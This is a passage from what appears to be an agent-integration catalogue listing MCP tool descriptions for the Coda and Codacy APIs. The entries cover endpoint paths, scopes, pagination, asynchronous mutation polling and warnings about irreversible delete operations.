`restrictedFolderIds`. GET /folders/{folderId}/children. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/folders/{folderId}/children. Scopes: api. coda_get_go_tenants_by_tenantid_agentinstances_by_agentinstanceid_agentsessionids (read) — Retrieve the chat sessions of an agent instance. Retrieve the chat sessions of an agent instance for debugging purpose. GET /go/tenants/{tenantId}/agentInstances/{agentInstanceId}/agentSessionIds. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. GET /api/v1/coda/go/tenants/{tenantId}/agentInstances/{agentInstanceId}/agentSessionIds. Scopes: api. coda_get_go_tenants_by_tenantid_agentinstances_by_agentinstanceid_logs (read) — Retrieve the logs of an agent instance. Retrieve the logs of an agent instance for debugging purpose. GET /go/tenants/{tenantId}/agentInstances/{agentInstanceId}/logs. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. GET /api/v1/coda/go/tenants/{tenantId}/agentInstances/{agentInstanceId}/logs. Scopes: api. coda_get_go_tenants_by_tenantid_agentinstances_by_agentinstanceid_logs_by_logid (read) — Retrieve the information for a specific log. Retrieve the log details of given logId. GET /go/tenants/{tenantId}/agentInstances/{agentInstanceId}/logs/{logId} GET /api/v1/coda/go/tenants/{tenantId}/agentInstances/{agentInstanceId}/logs/{logId}. Scopes: api. coda_get_mutationstatus_by_requestid (read) — Get mutation status. Get the status for an asynchronous mutation to know whether or not it has been completed. GET /mutationStatus/{requestId} GET /api/v1/coda/mutationStatus/{requestId}. Scopes: api. coda_get_packs (read) — List Packs. Get the list of accessible Packs. GET /packs. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/packs. Scopes: api. coda_get_packs_by_packid (read) — Get a single Pack. Returns a single Pack. GET /packs/{packId} GET /api/v1/coda/packs/{packId}. Scopes: api. coda_get_packs_by_packid_categories (read) — List categories for Pack. List publishing categories for a given Pack. GET /packs/{packId}/categories GET /api/v1/coda/packs/{packId}/categories. Scopes: api. coda_get_packs_by_packid_configurations_schema (read) — Gets the JSON Schema for Pack configuration. Returns a JSON Schema applicable for customizing the Pack using Pack configurations. GET /packs/{packId}/configurations/schema GET /api/v1/coda/packs/{packId}/configurations/schema. Scopes: api. coda_get_packs_by_packid_docs_by_docid_groupedlogs (read) — Retrieve the grouped logs of a Pack. Retrieve the grouped logs of a Pack for debugging purpose. GET /packs/{packId}/docs/{docId}/groupedLogs. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. GET /api/v1/coda/packs/{packId}/docs/{docId}/groupedLogs. Scopes: api. coda_get_packs_by_packid_docs_by_docid_logs (read) — Retrieve the logs of a Pack. Retrieve the logs of a Pack for debugging purpose. GET /packs/{packId}/docs/{docId}/logs. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. GET /api/v1/coda/packs/{packId}/docs/{docId}/logs. Scopes: api. coda_get_packs_by_packid_featureddocs (read) — List featured docs for a Pack. Returns a list of featured doc ids for a Pack. GET /packs/{packId}/featuredDocs GET /api/v1/coda/packs/{packId}/featuredDocs. Scopes: api. coda_get_packs_by_packid_invitations (read) — List invitations for a Pack. Get pending invitations for a given Pack. GET /packs/{packId}/invitations. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/packs/{packId}/invitations. Scopes: api. coda_get_packs_by_packid_listing (read) — Get detailed listing information for a Pack. Get detailed listing information for a Pack. GET /packs/{packId}/listing GET /api/v1/coda/packs/{packId}/listing. Scopes: api. coda_get_packs_by_packid_listingdraft (read) — Get Pack listing draft. Get the current listing draft for a Pack. GET /packs/{packId}/listingDraft GET /api/v1/coda/packs/{packId}/listingDraft. Scopes: api. coda_get_packs_by_packid_makers (read) — List makers for Pack. List makers for a given Pack. GET /packs/{packId}/makers GET /api/v1/coda/packs/{packId}/makers. Scopes: api. coda_get_packs_by_packid_oauthconfig (read) — Retrieve the OAuth configuration of the Pack. Retrieve the OAuth configuration of the Pack for display purpose. Secrets will be returned with masks. GET /packs/{packId}/oauthConfig GET /api/v1/coda/packs/{packId}/oauthConfig. Scopes: api. coda_get_packs_by_packid_permissions (read) — List permissions for a Pack. Get user, workspace, and/or global permissions for a given Pack. GET /packs/{packId}/permissions GET /api/v1/coda/packs/{packId}/permissions. Scopes: api. coda_get_packs_by_packid_releases (read) — List the releases for a Pack. Get the list of releases of a Pack. GET /packs/{packId}/releases. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/packs/{packId}/releases. Scopes: api. coda_get_packs_by_packid_reviews (read) — List Pack reviews. List reviews for a specific Pack. GET /packs/{packId}/reviews. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/packs/{packId}/reviews. Scopes: api. coda_get_packs_by_packid_systemconnection (read) — Retrieve the system connection metadata of the Pack. Retrieve the system connection metadata of the Pack. GET /packs/{packId}/systemConnection GET /api/v1/coda/packs/{packId}/systemConnection. Scopes: api. coda_get_packs_by_packid_tenantid_by_tenantid_rootingestionid_by_rootingestionid_groupedlogs (read) — Retrieve the grouped logs of a Pack for a specific ingestionExecutionId. Retrieve the grouped logs of a Pack for debugging purpose. GET /packs/{packId}/tenantId/{tenantId}/rootIngestionId/{rootIngestionId}/groupedLogs. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. GET /api/v1/coda/packs/{packId}/tenantId/{tenantId}/rootIngestionId/{rootIngestionId}/groupedLogs. Scopes: api. coda_get_packs_by_packid_tenantid_by_tenantid_rootingestionid_by_rootingestionid_ingestionbatchexecutions (read) — Retrieve a list of ingestion batch executions for the given root ingestion id. Retrieve the ingestion batch executions of a root ingestion for debugging purpose. GET /packs/{packId}/tenantId/{tenantId}/rootIngestionId/{rootIngestionId}/ingestionBatchExecutions. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/packs/{packId}/tenantId/{tenantId}/rootIngestionId/{rootIngestionId}/ingestionBatchExecutions. Scopes: api. coda_get_packs_by_packid_tenantid_by_tenantid_rootingestionid_by_rootingestionid_ingestionbatchexecutions_by_ingestionexecutionid_parentitems (read) — Retrieve a list of parent items for the given ingestion batch execution id. Retrieve the parent items of a ingestion batch execution for debugging purpose. GET /packs/{packId}/tenantId/{tenantId}/rootIngestionId/{rootIngestionId}/ingestionBatchExecutions/{ingestionExecutionId}/parentItems. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/packs/{packId}/tenantId/{tenantId}/rootIngestionId/{rootIngestionId}/ingestionBatchExecutions/{ingestionExecutionId}/parentItems. Scopes: api. coda_get_packs_by_packid_tenantid_by_tenantid_rootingestionid_by_rootingestionid_logs (read) — Retrieve the logs of a Ingestion. Retrieve the logs of a Ingestion for debugging purpose. GET /packs/{packId}/tenantId/{tenantId}/rootIngestionId/{rootIngestionId}/logs. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. GET /api/v1/coda/packs/{packId}/tenantId/{tenantId}/rootIngestionId/{rootIngestionId}/logs. Scopes: api. coda_get_packs_by_packid_tenantid_by_tenantid_rootingestionid_by_rootingestionid_logs_by_logid (read) — Retrieve the information for a specific log. Retrieve the ingestion execution ids of a root ingestion for debugging purpose. GET /packs/{packId}/tenantId/{tenantId}/rootIngestionId/{rootIngestionId}/logs/{logId} GET /api/v1/coda/packs/{packId}/tenantId/{tenantId}/rootIngestionId/{rootIngestionId}/logs/{logId}. Scopes: api. coda_get_packs_by_packid_versions (read) — List the versions for a Pack. Get the list of versions of a Pack. GET /packs/{packId}/versions. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/packs/{packId}/versions. Scopes: api. coda_get_packs_by_packid_versions_by_basepackversion_diff_by_targetpackversion (read) — Get the difference between two Pack versions. Gets information about the difference between the specified previous version and next version of a Pack. GET /packs/{packId}/versions/{basePackVersion}/diff/{targetPackVersion} GET /api/v1/coda/packs/{packId}/versions/{basePackVersion}/diff/{targetPackVersion}. Scopes: api. coda_get_packs_by_packid_versions_by_packversion_sourcecode (read) — get the source code for a Pack version. Get temporary links used to download the source code for the given packId and version. GET /packs/{packId}/versions/{packVersion}/sourceCode GET /api/v1/coda/packs/{packId}/versions/{packVersion}/sourceCode. Scopes: api. coda_get_packs_invitations (read) — List pending Pack invitations for the current user. Get pending Pack invitations for the authenticated user. GET /packs/invitations. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/packs/invitations. Scopes: api. coda_get_packs_listings (read) — List the Pack listings accessible to a user. Get listings of public Packs and Packs created by you. GET /packs/listings. Paginated: `limit` caps one page and `pageToken` continues a previous one. The response carries `nextPageToken`; send that value back as `pageToken` to walk the rest, and stop when it is absent. GET /api/v1/coda/packs/listings. Scopes: api. coda_get_resolvebrowserlink (read) — Resolve browser link. Given a browser link to a Superhuman Docs object, attempts to find it and return metadata that can be used to get more info on it. GET /resolveBrowserLink GET /api/v1/coda/resolveBrowserLink. Scopes: api. coda_get_whoami (read) — Get user info. Returns basic info about the current user. GET /whoami GET /api/v1/coda/whoami. Scopes: api. coda_get_workspaces_by_workspaceid_roles (read) — List workspace roles. Returns a list of the counts of users over time by role for the workspace. GET /workspaces/{workspaceId}/roles GET /api/v1/coda/workspaces/{workspaceId}/roles. Scopes: api. coda_get_workspaces_by_workspaceid_users (read) — List workspace users. Returns a list of members in the given workspace. This list will be ordered with the requesting user first and then ordered by role. GET /workspaces/{workspaceId}/users. The response carries `nextPageToken`, but this operation declares no `pageToken` parameter to send it back to -- an asymmetry in the provider's own contract, so treat the first page as all this tool can reach. GET /api/v1/coda/workspaces/{workspaceId}/users. Scopes: api. coda_patch_docs_by_docid (write) — Update doc. Updates metadata for a doc. Note that updating a doc title requires you to be a Doc Maker in the applicable workspace. PATCH /docs/{docId} PATCH /api/v1/coda/docs/{docId}. Scopes: api. coda_patch_docs_by_docid_acl_settings (write) — Update ACL settings. Update settings associated with ACLs for this document. PATCH /docs/{docId}/acl/settings PATCH /api/v1/coda/docs/{docId}/acl/settings. Scopes: api. coda_patch_docs_by_docid_domains_by_customdocdomain (write) — Updates a custom domain. Updates properties of a document's custom domain. PATCH /docs/{docId}/domains/{customDocDomain} PATCH /api/v1/coda/docs/{docId}/domains/{customDocDomain}. Scopes: api. coda_patch_folders_by_folderid (write) — Update folder. Updates metadata for a folder. PATCH /folders/{folderId} PATCH /api/v1/coda/folders/{folderId}. Scopes: api. coda_patch_packs_by_packid (write) — Update Pack. Update an existing Pack for non-versioned fields. PATCH /packs/{packId} PATCH /api/v1/coda/packs/{packId}. Scopes: api. coda_patch_packs_by_packid_systemconnection (write) — Patch the system connection credentials of the Pack. Patch the system connection credentials of the Pack. PATCH /packs/{packId}/systemConnection PATCH /api/v1/coda/packs/{packId}/systemConnection. Scopes: api. coda_post_docs (write) — Create doc. Creates a new document, optionally copying an existing document. Note that creating a document requires you to be a Doc Maker in the applicable workspace (or be auto-promoted to one). POST /docs. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. POST /api/v1/coda/docs. Scopes: api. coda_post_docs_by_docid_acl_permissions (write) — Add permission. Adds a new permission to the doc. POST /docs/{docId}/acl/permissions POST /api/v1/coda/docs/{docId}/acl/permissions. Scopes: api. coda_post_docs_by_docid_domains (write) — Add custom domain. Add a custom domain to a published doc. POST /docs/{docId}/domains. The provider's OpenAPI document prefixes this path's `{docId}` placeholder with a stray dollar sign; every sibling operation on the same resource spells it `/docs/{docId}/domains`, so the stray character is treated as a document defect and is not sent. The repaired path is the one that works: measured 2026-09-04 against a real doc, it answered 200. POST /api/v1/coda/docs/{docId}/domains. Scopes: api. coda_post_docs_by_docid_hooks_automation_by_ruleid (write) — Trigger automation. Triggers webhook-invoked automation. POST /docs/{docId}/hooks/automation/{ruleId}. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. POST /api/v1/coda/docs/{docId}/hooks/automation/{ruleId}. Scopes: api. coda_post_docs_by_docid_pages (write) — Create a page. Create a new page in a doc. Note that creating a page requires you to be a Doc Maker in the applicable workspace. POST /docs/{docId}/pages. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. POST /api/v1/coda/docs/{docId}/pages. Scopes: api. coda_post_docs_by_docid_pages_by_pageidorname_export (write) — Begin content export. Initiate an export of content for the given page. POST /docs/{docId}/pages/{pageIdOrName}/export POST /api/v1/coda/docs/{docId}/pages/{pageIdOrName}/export. Scopes: api. coda_post_docs_by_docid_tables_by_tableidorname_rows (write) — Insert/upsert rows. Inserts rows into a table, optionally updating existing rows if any upsert key columns are provided. POST /docs/{docId}/tables/{tableIdOrName}/rows. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. POST /api/v1/coda/docs/{docId}/tables/{tableIdOrName}/rows. Scopes: api. coda_post_docs_by_docid_tables_by_tableidorname_rows_by_rowidorname_buttons_by_columnidorname (write) — Push a button. Pushes a button on a row in a table. Authorization note: This action is available to API tokens that are authorized to write to the table. POST /docs/{docId}/tables/{tableIdOrName}/rows/{rowIdOrName}/buttons/{columnIdOrName}. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. POST /api/v1/coda/docs/{docId}/tables/{tableIdOrName}/rows/{rowIdOrName}/buttons/{columnIdOrName}. Scopes: api. coda_post_folders (write) — Create folder. Creates a new folder. POST /folders POST /api/v1/coda/folders. Scopes: api. coda_post_organizations_by_organizationid_golinks (write) — Add a go link. Adds a new go link for the organization. POST /organizations/{organizationId}/goLinks POST /api/v1/coda/organizations/{organizationId}/goLinks. Scopes: api. coda_post_packs (write) — Create Pack. Creates a new Pack, essentially registering a new Pack ID. The contents of the Pack will be uploaded separately. POST /packs POST /api/v1/coda/packs. Scopes: api. coda_post_packs_by_packid_assets_by_packassetid_assettype_by_packassettype_uploadcomplete (write) — Pack asset upload complete. Note the completion of the upload of a Pack asset. POST /packs/{packId}/assets/{packAssetId}/assetType/{packAssetType}/uploadComplete. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. POST /api/v1/coda/packs/{packId}/assets/{packAssetId}/assetType/{packAssetType}/uploadComplete. Scopes: api. coda_post_packs_by_packid_category (write) — Add a category for Pack. Add a publishing category for a given Pack. POST /packs/{packId}/category POST /api/v1/coda/packs/{packId}/category. Scopes: api. coda_post_packs_by_packid_invitations (write) — Create an invitation for Pack. Create an invitation for a user to access a Pack. POST /packs/{packId}/invitations POST /api/v1/coda/packs/{packId}/invitations. Scopes: api. coda_post_packs_by_packid_maker (write) — Add a maker for Pack. Set a maker for a given Pack. Used to display makers for a Pack in the corresponding Packs page. POST /packs/{packId}/maker POST /api/v1/coda/packs/{packId}/maker. Scopes: api. coda_post_packs_by_packid_nextversion (write) — Get the next valid version for a Pack. Get the next valid version based on the proposed metadata. POST /packs/{packId}/nextVersion POST /api/v1/coda/packs/{packId}/nextVersion. Scopes: api. coda_post_packs_by_packid_permissions (write) — Add a permission for Pack. Create or modify user, workspace, organization, group, or global permissions for a given Pack. POST /packs/{packId}/permissions POST /api/v1/coda/packs/{packId}/permissions. Scopes: api. coda_post_packs_by_packid_releases (write) — Create a new Pack release. Creates a new Pack release based on an existing Pack version. POST /packs/{packId}/releases POST /api/v1/coda/packs/{packId}/releases. Scopes: api. coda_post_packs_by_packid_reviews (write) — Create Pack review. Submit a Pack for review in Superhuman GO. POST /packs/{packId}/reviews POST /api/v1/coda/packs/{packId}/reviews. Scopes: api. coda_post_packs_by_packid_reviews_pending_cancel (write) — Cancel pending Pack review. Cancel the pending Pack review for this Pack. Any user with edit permission on the Pack can cancel the review. POST /packs/{packId}/reviews/pending/cancel POST /api/v1/coda/packs/{packId}/reviews/pending/cancel. Scopes: api. coda_post_packs_by_packid_uploadasset (write) — Upload a Pack asset. Request a signed s3 URL to upload your Pack asset. POST /packs/{packId}/uploadAsset POST /api/v1/coda/packs/{packId}/uploadAsset. Scopes: api. coda_post_packs_by_packid_uploadsourcecode (write) — Upload Pack source code. Request a signed s3 URL to upload your Pack source code. POST /packs/{packId}/uploadSourceCode POST /api/v1/coda/packs/{packId}/uploadSourceCode. Scopes: api. coda_post_packs_by_packid_versions_by_packversion_register (write) — Register Pack version. Registers a new Pack version. This simply returns a signed URL to use for uploading the Pack version definition. POST /packs/{packId}/versions/{packVersion}/register POST /api/v1/coda/packs/{packId}/versions/{packVersion}/register. Scopes: api. coda_post_packs_by_packid_versions_by_packversion_sourcecode_uploadcomplete (write) — Pack source code upload complete. Note the completion of the upload of a Pack source code. POST /packs/{packId}/versions/{packVersion}/sourceCode/uploadComplete. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. POST /api/v1/coda/packs/{packId}/versions/{packVersion}/sourceCode/uploadComplete. Scopes: api. coda_post_packs_by_packid_versions_by_packversion_uploadcomplete (write) — Pack version upload complete. Note the completion of the upload of a Pack version bundle in order to create that Pack version. POST /packs/{packId}/versions/{packVersion}/uploadComplete POST /api/v1/coda/packs/{packId}/versions/{packVersion}/uploadComplete. Scopes: api. coda_post_packs_invitations_by_invitationid_reply (write) — Reply to a Pack invitation. Reply to a Pack invitation (accept or reject). Requires authentication as the invited user. POST /packs/invitations/{invitationId}/reply POST /api/v1/coda/packs/invitations/{invitationId}/reply. Scopes: api. coda_post_workspaces_by_workspaceid_users_role (write) — Updates user role. Updates the workspace user role of a user that matches the parameters. Only succeeds if the requesting user has admin permissions in the workspace. POST /workspaces/{workspaceId}/users/role POST /api/v1/coda/workspaces/{workspaceId}/users/role. Scopes: api. coda_put_docs_by_docid_pages_by_pageidorname (write) — Update a page. Update properties for a page. Note that updating a page title or icon requires you to be a Doc Maker in the applicable workspace. PUT /docs/{docId}/pages/{pageIdOrName}. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. PUT /api/v1/coda/docs/{docId}/pages/{pageIdOrName}. Scopes: api. coda_put_docs_by_docid_publish (write) — Publish doc. Update publish settings for a doc. PUT /docs/{docId}/publish. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. PUT /api/v1/coda/docs/{docId}/publish. Scopes: api. coda_put_docs_by_docid_tables_by_tableidorname_rows_by_rowidorname (write) — Update row. Updates the specified row in the table. This endpoint will always return a 202, so long as the row exists and is accessible (and the update is structurally valid). PUT /docs/{docId}/tables/{tableIdOrName}/rows/{rowIdOrName}. Asynchronous: the response is a `requestId`, not the finished result. Coda applies the change in the background, so poll `GET /mutationStatus/{requestId}` (Get Mutation Status) until it reports completion before reading the affected doc back. PUT /api/v1/coda/docs/{docId}/tables/{tableIdOrName}/rows/{rowIdOrName}. Scopes: api. coda_put_packs_by_packid_featureddocs (write) — Update featured docs for a Pack. Create or replace the featured docs for a Pack. PUT /packs/{packId}/featuredDocs PUT /api/v1/coda/packs/{packId}/featuredDocs. Scopes: api. coda_put_packs_by_packid_invitations_by_invitationid (write) — Update an invitation for Pack. Update the access level of an existing Pack invitation. PUT /packs/{packId}/invitations/{invitationId} PUT /api/v1/coda/packs/{packId}/invitations/{invitationId}. Scopes: api. coda_put_packs_by_packid_listingdraft (write) — Upsert Pack listing draft. Create or update the listing draft for a Pack. PUT /packs/{packId}/listingDraft PUT /api/v1/coda/packs/{packId}/listingDraft. Scopes: api. coda_put_packs_by_packid_oauthconfig (write) — Set the OAuth configurations of the Pack. Set the OAuth configurations of the Pack, including client id and secret. PUT /packs/{packId}/oauthConfig PUT /api/v1/coda/packs/{packId}/oauthConfig. Scopes: api. coda_put_packs_by_packid_releases_by_packreleaseid (write) — Update an existing Pack release. Update details of a Pack release. PUT /packs/{packId}/releases/{packReleaseId} PUT /api/v1/coda/packs/{packId}/releases/{packReleaseId}. Scopes: api. coda_put_packs_by_packid_systemconnection (write) — Set the system connection credentials of the Pack. Set the system connection credentials of the Pack. PUT /packs/{packId}/systemConnection PUT /api/v1/coda/packs/{packId}/systemConnection. Scopes: api. ================================================================================ ## Codacy URL: https://www.agenticfabriq.com/integrations/codacy Section: Integrated Tools Codacy — 281 MCP tools Provider key: codacy. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. codacy_delete_billing_by_provider_by_remoteorganizationname_subscription (write, destructive) — Delete billing subscription for organization via DELETE /billing/{provider}/{remoteOrganizationName}/subscription. Delete billing subscription for organization Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/billing/{provider}/{remoteOrganizationName}/subscription. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname (write, destructive) — Delete organization via DELETE /organizations/{provider}/{remoteOrganizationName}. Delete organization Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid (write, destructive) — Delete a coding standard via DELETE /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_dast_targets_by_dasttargetid (write, destructive) — Delete a DAST target via DELETE /organizations/{provider}/{remoteOrganizationName}/dast/targets/{dastTargetId}. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/dast/targets/{dastTargetId}. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_gate_policies_by_gatepolicyid (write, destructive) — Delete a gate policy via DELETE /organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_image_sboms_by_imagename (write, destructive) — Delete all SBOMs for a given image via DELETE /organizations/{provider}/{remoteOrganizationName}/image-sboms/{imageName}. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/image-sboms/{imageName}. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_image_sboms_by_imagename_tags_by_tag (write, destructive) — Delete SBOM for a given image/tag combination via DELETE /organizations/{provider}/{remoteOrganizationName}/image-sboms/{imageName}/tags/{tag}. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/image-sboms/{imageName}/tags/{tag}. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_integrations_jira (write, destructive) — Delete the Jira integration of the organization and associated resources via DELETE /organizations/{provider}/{remoteOrganizationName}/integrations/jira. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/jira. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_integrations_jira_tickets_by_jiraticketidentifier (write, destructive) — Unlink a Jira ticket from a repository via DELETE /organizations/{provider}/{remoteOrganizationName}/integrations/jira/tickets/{jiraTicketIdentifier}. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/jira/tickets/{jiraTicketIdentifier}. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_integrations_slack (write, destructive) — Delete the Slack integration of the organization and associated resources via DELETE /organizations/{provider}/{remoteOrganizationName}/integrations/slack. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/slack. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_integrations_webhooks_by_webhookid (write, destructive) — Delete a webhook endpoint of the organization via DELETE /organizations/{provider}/{remoteOrganizationName}/integrations/webhooks/{webhookId}. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/webhooks/{webhookId}. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_join (write, destructive) — Decline requests to join an organization via DELETE /organizations/{provider}/{remoteOrganizationName}/join. Decline requests to join an organization by specifying the provider, organization name, and the user emails to be rejected. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/join. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_join_by_accountidentifier (write, destructive) — Delete a request to join an organization via DELETE /organizations/{provider}/{remoteOrganizationName}/join/{accountIdentifier}. Delete a request to join an organization by provider, name, and user ID DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/join/{accountIdentifier}. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname (write, destructive) — Delete the specified repository via DELETE /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_follow (write, destructive) — Unfollow a repository via DELETE /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/follow. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/follow. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tokens_by_tokenid (write, destructive) — Delete a repository API token by ID via DELETE /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tokens/{tokenId}. DESTRUCTIVE and not undoable through this API: 